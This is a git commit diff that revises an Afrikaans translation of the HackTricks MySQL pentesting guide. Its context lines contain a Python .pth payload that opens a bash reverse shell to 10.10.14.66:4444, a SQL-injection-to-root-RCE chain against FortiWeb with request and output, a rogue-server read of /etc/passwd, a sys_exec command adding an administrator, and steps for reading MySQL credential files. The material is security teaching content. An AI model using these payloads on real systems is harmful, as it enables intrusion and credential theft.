mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to af
This commit is contained in:
parent
067b2f91ec
commit
268a1e92e8
@ -1,10 +1,5 @@
|
||||
# 3306 - Pentesting Mysql
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## References
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Basiese Inligting**
|
||||
@ -106,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
#@ Functions not from sys. db
|
||||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||||
```
|
||||
You kan die betekenis van elke voorreg in die dokumentasie sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
U kan in die dokumentasie die betekenis van elke voorreg sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
|
||||
### MySQL Lêer RCE
|
||||
|
||||
@ -122,7 +117,7 @@ Deur die klassieke `INTO OUTFILE` primitief te misbruik, is dit moontlik om *arb
|
||||
2. Die `.pth` lêer kan 'n *enkele lyn* bevat wat begin met `import ` gevolg deur arbitraire Python kode wat elke keer uitgevoer sal word wanneer die interpreter begin.
|
||||
3. Wanneer die interpreter implisiet deur 'n CGI-skrip uitgevoer word (byvoorbeeld `/cgi-bin/ml-draw.py` met shebang `#!/bin/python`), word die payload uitgevoer met dieselfde voorregte as die web-bediener proses (FortiWeb het dit as **root** uitgevoer → volle pre-auth RCE).
|
||||
|
||||
Voorbeeld `.pth` payload (enkele lyn, geen spaties kan in die finale SQL payload ingesluit word nie, so hex/`UNHEX()` of string concatenasie mag benodig word):
|
||||
Voorbeeld `.pth` payload (enkele lyn, geen spaties kan in die finale SQL payload ingesluit word nie, so hex/`UNHEX()` of string-konkatenasie mag benodig word):
|
||||
```python
|
||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||
```
|
||||
@ -134,10 +129,10 @@ Belangrike beperkings & omseilings:
|
||||
|
||||
* `INTO OUTFILE` **kan nie** bestaande lêers oorskryf nie; kies 'n nuwe lêernaam.
|
||||
* Die lêerpad word **relatief tot MySQL se CWD** opgelos, so om te prefix met `../../` help om die pad te verkort en absolute-pad beperkings te omseil.
|
||||
* As die aanvaller se invoer met `%128s` (of soortgelyk) onttrek word, sal enige spasie die payload afbreek; gebruik MySQL kommentaarreekse `/**/` of `/*!*/` om spasies te vervang.
|
||||
* Die MySQL gebruiker wat die navraag uitvoer, het die `FILE` voorreg, maar in baie toestelle (bv. FortiWeb) loop die diens as **root**, wat skrywe toegang byna oral gee.
|
||||
* As die aanvallerinvoer met `%128s` (of soortgelyk) onttrek word, sal enige spasie die payload afbreek; gebruik MySQL kommentaarreekse `/**/` of `/*!*/` om spasies te vervang.
|
||||
* Die MySQL gebruiker wat die navraag uitvoer, benodig die `FILE` voorreg, maar in baie toestelle (bv. FortiWeb) loop die diens as **root**, wat skrywe toegang byna oral gee.
|
||||
|
||||
Na die `.pth` verwydering, vra eenvoudig enige CGI wat deur die python-interpretator hanteer word om kode-uitvoering te verkry:
|
||||
Nadat die `.pth` verwyder is, vra eenvoudig enige CGI wat deur die python interpreter hanteer word om kode-uitvoering te verkry:
|
||||
```
|
||||
GET /cgi-bin/ml-draw.py HTTP/1.1
|
||||
Host: <target>
|
||||
@ -153,7 +148,7 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
|
||||
## MySQL arbitrêre lêer lees deur kliënt
|
||||
|
||||
Werklik, wanneer jy probeer om **data plaaslik in 'n tabel te laai** die **inhoud van 'n lêer** vra die MySQL of MariaDB bediener die **kliënt om dit te lees** en die inhoud te stuur. **Dan, as jy 'n mysql kliënt kan manipuleer om met jou eie MySQL bediener te verbind, kan jy arbitrêre lêers lees.**\
|
||||
Werklik, wanneer jy probeer om **data plaaslik in 'n tabel te laai** die **inhoud van 'n lêer** vra die MySQL of MariaDB bediener die **kliënt om dit te lees** en die inhoud te stuur. **As jy dan 'n mysql kliënt kan manipuleer om met jou eie MySQL bediener te verbind, kan jy arbitrêre lêers lees.**\
|
||||
Let asseblief op dat dit die gedrag is wat gebruik word:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
@ -166,7 +161,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**Begin PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**In hierdie artikel kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit uit te brei na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**In hierdie dokument kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit uit te brei na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Hier kan jy 'n oorsig van die aanval vind:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
@ -258,13 +253,13 @@ SELECT sys_exec("net localgroup Administrators npn /add");
|
||||
```
|
||||
### Uittreksel van MySQL geloofsbriewe uit lêers
|
||||
|
||||
Binne _/etc/mysql/debian.cnf_ kan jy die **duidelike wagwoord** van die gebruiker **debian-sys-maint** vind
|
||||
Binne _/etc/mysql/debian.cnf_ kan jy die **planktekst wagwoord** van die gebruiker **debian-sys-maint** vind
|
||||
```bash
|
||||
cat /etc/mysql/debian.cnf
|
||||
```
|
||||
U kan **hierdie geloofsbriewe gebruik om in die mysql-databasis aan te meld**.
|
||||
|
||||
Binne die lêer: _/var/lib/mysql/mysql/user.MYD_ kan u **alle hashes van die MySQL gebruikers** vind (diegene wat u uit mysql.user binne die databasis kan onttrek)_._
|
||||
Binne die lêer: _/var/lib/mysql/mysql/user.MYD_ kan u **alle die hashes van die MySQL gebruikers** vind (diegene wat u kan onttrek uit mysql.user binne die databasis)_._
|
||||
|
||||
U kan dit onttrek deur:
|
||||
```bash
|
||||
|
Loading…
x
Reference in New Issue
Block a user